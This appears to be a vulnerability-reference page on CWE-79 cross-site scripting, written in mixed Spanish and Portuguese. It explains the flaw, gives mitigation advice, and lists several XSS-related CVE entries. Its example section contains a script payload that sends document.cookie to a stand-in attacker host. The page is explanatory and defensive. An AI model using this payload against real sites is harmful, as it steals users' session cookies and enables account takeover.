Fallos del tipo CWE-79

29.814 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-3794MEDIUMCross-site Scripting vulnerability in WBSAirbackEPSS 0.4%CVE-2022-41947MEDIUMCross-site Scripting with user-uploaded files in dhis2-core EPSS 0.4%CVE-2023-36259MEDIUMCross Site Scripting (XSS) vulnerability in Craft CMS Audit Plugin before version 3.0.2 allows attackers to execute arbitrary code during usEPSS 0.4%CVE-2024-3793MEDIUMCross-site Scripting vulnerability in WBSAirbackEPSS 0.4%CVE-2024-3791MEDIUMCross-site Scripting vulnerability in WBSAirbackEPSS 0.4%CVE-2024-55659HIGHSiYuan has an arbitrary file write in the host via /api/asset/uploadEPSS 0.4%CVE-2024-25381MEDIUMThere is a Stored XSS Vulnerability in Emlog Pro 2.2.8 Article Publishing, due to non-filtering of quoted content.EPSS 0.4%CVE-2023-50092MEDIUMAPIIDA API Gateway Manager for Broadcom Layer7 v2023.2 is vulnerable to Cross Site Scripting (XSS).EPSS 0.4%CVE-2026-85645MEDIUMForm Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder <= 1.15.46 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2023-27059HIGHA cross-site scripting (XSS) vulnerability in the Edit Group function of ChurchCRM v4.5.3 allows attackers to execute arbitrary web scripts EPSS 0.4%CVE-2023-23467HIGHMedia CP Media Control Panel – Reflected XSSEPSS 0.4%CVE-2024-10510MEDIUMadBuddy+ (AdBlocker Detection) by NetfunkDesign <= 1.1.3 - Admin+ Stored XSSEPSS 0.4%CVE-2023-47626HIGHiTop vulnerable to XSS vulnerability in authent-tokenEPSS 0.4%CVE-2025-6185HIGHLeviton AcquiSuite and Energy Monitoring Hub Cross-site ScriptingEPSS 0.4%CVE-2025-9728MEDIUMgivanz Vvveb login.tpl cross site scriptingEPSS 0.4%CVE-2024-53278MEDIUMCross-site scripting vulnerability exists in WP Admin UI Customize versions prior to ver 1.5.14. If a malicious admin user customizes the adEPSS 0.4%CVE-2023-51461MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-45254HIGHVaeMendis - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')EPSS 0.4%CVE-2023-51460MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-5878MEDIUMMultiple Plugins <= (Various Versions) - Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via SimpleLightbox JavaScript LibraryEPSS 0.4%